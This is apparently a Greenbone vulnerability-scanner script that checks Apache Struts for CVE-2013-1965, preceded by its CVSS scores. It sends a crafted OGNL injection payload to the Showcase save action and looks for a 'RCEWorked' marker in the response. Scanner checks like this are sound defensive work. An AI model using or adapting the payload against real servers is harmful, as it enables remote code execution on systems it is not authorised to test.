9.3 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
8.4 High
AI Score
Confidence
High
0.008 Low
EPSS
Percentile
81.9%
Apache Struts is prone to a java method execution
vulnerability.
# Copyright (C) 2012 Greenbone Networks GmbH
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CPE = "cpe:/a:apache:struts";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.902924");
script_version("2022-04-27T12:01:52+0000");
script_cve_id("CVE-2013-1965");
script_tag(name:"cvss_base", value:"9.3");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:C/I:C/A:C");
script_tag(name:"last_modification", value:"2022-04-27 12:01:52 +0000 (Wed, 27 Apr 2022)");
script_tag(name:"creation_date", value:"2012-08-31 11:47:31 +0530 (Fri, 31 Aug 2012)");
script_name("Apache Struts Security Update (S2-012) - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2012 Greenbone Networks GmbH");
script_family("Web application abuses");
script_dependencies("gb_apache_struts_consolidation.nasl");
script_require_ports("Services/www", 8080);
script_mandatory_keys("apache/struts/http/detected");
script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/523956");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/55165");
script_xref(name:"URL", value:"http://packetstormsecurity.org/files/115770/struts2-exec.txt");
script_xref(name:"URL", value:"http://exploitsdownload.com/exploit/na/apache-struts2-remote-code-execution");
script_xref(name:"URL", value:"https://cwiki.apache.org/confluence/display/WW/S2-012");
script_xref(name:"Advisory-ID", value:"S2-012");
script_xref(name:"URL", value:"https://cwiki.apache.org/confluence/display/WW/S2-058");
script_xref(name:"Advisory-ID", value:"S2-058");
script_tag(name:"summary", value:"Apache Struts is prone to a java method execution
vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks the response.");
script_tag(name:"insight", value:"The flaw is due to an improper validation of user data passed to
the 'skillName' parameter in 'edit' and 'save' actions.");
script_tag(name:"impact", value:"Successful exploitation could allow an attacker to execute
arbitrary java method. Further that results to disclose environment variables or cause a denial of
service or an arbitrary OS command can be executed.");
script_tag(name:"affected", value:"Apache Struts (Showcase) 2.3.14.2 and prior.");
script_tag(name:"solution", value:"Update to version 2.3.14.3 or later.");
script_tag(name:"qod_type", value:"remote_vul");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
if(!port = get_app_port(cpe:CPE, service:"www"))
exit(0);
if(!dir = get_app_location(cpe:CPE, port:port))
exit(0);
if(dir == "/")
dir = "";
dir += "/struts2-showcase";
useragent = http_get_user_agent();
host = http_host_name(port:port);
url = dir + "/showcase.action";
if(!http_vuln_check(port:port, url:url, pattern:">Showcase</", extra_check:">Struts Showcase<", check_header:TRUE, usecache:TRUE))
exit(0);
postdata = "currentSkill.name=%25%7B%28%23_memberAccess%5B%27allowStatic" +
"MethodAccess%27%5D%3Dtrue%29%28%23context%5B%27xwork.MethodA" +
"ccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23tmp%3D%40o" +
"rg.apache.struts2.ServletActionContext%40getResponse%28%29.g" +
"etWriter%28%29%2C%23tmp.println%28%27RCEWorked%27%29%2C%23tm" +
"p.close%28%29%29%7D¤tSkill.description=";
url = dir + "/skill/save.action";
req = string("POST ", url," HTTP/1.1\r\n",
"Host: ", host, "\r\n",
"User-Agent: ", useragent, "\r\n",
"Content-Type: application/x-www-form-urlencoded\r\n",
"Content-Length: ", strlen(postdata), "\r\n",
"\r\n", postdata);
res = http_keepalive_send_recv(port:port, data:req);
if(res && res =~ "^HTTP/1\.[0-9] 200" && "RCEWorked" >< res) {
report = http_report_vuln_url(port:port, url:url);
security_message(port:port, data:report);
exit(0);
}
exit(99);